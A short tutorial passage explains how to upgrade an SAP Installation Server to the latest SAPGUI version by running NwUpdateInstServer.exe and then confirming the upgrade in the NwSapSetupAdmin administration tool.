Now that you have the latest SAPGUI version downloaded to your SAP Installation Server, you will need to navigate within the extracted folder to PRES1 -> GUI -> WINDOWS -> WIN32 -> Setup. From this directory, you will need to execute the file NwUpdateInstServer.exe. You may need to right-click the file, and select Run as administrator in order to ensure a proper installation.

Executing the NwUpdateInstServer.exe application to begin the upgrade.
Once the initial splash screen appears, you will need to click "Next" in order to begin the upgrade process.

The upgrade has begun!
You will now need to provide the path of SAP Installation Server that you have installed already. Once you have done so, the upgrade application will need to verify that the SAP Installation Server path is correct. Click "Verify" in order to begin this process, and continue with the upgrade.

The correct SAP Installation Server path has been selected.
Within a short amount of time, you should see the final screen. Your upgrade is complete!

The upgrade is now complete.
As a final step, you might want to go ahead and open up the SAP Installation Server Administration application in order to verify that everything has been upgraded to the latest SAPGUI version. If you have forgotten where this is located, you can navigate to the shared directory used during the initial installation and then to Setup -> NwSapSetupAdmin.exe.

Confirming that everything upgraded successfully.
The SAP Installation Server Administration utility itself will still function just as it did before, but you will now be able to deploy and upgrade your users to the latest SAPGUI version.

Read More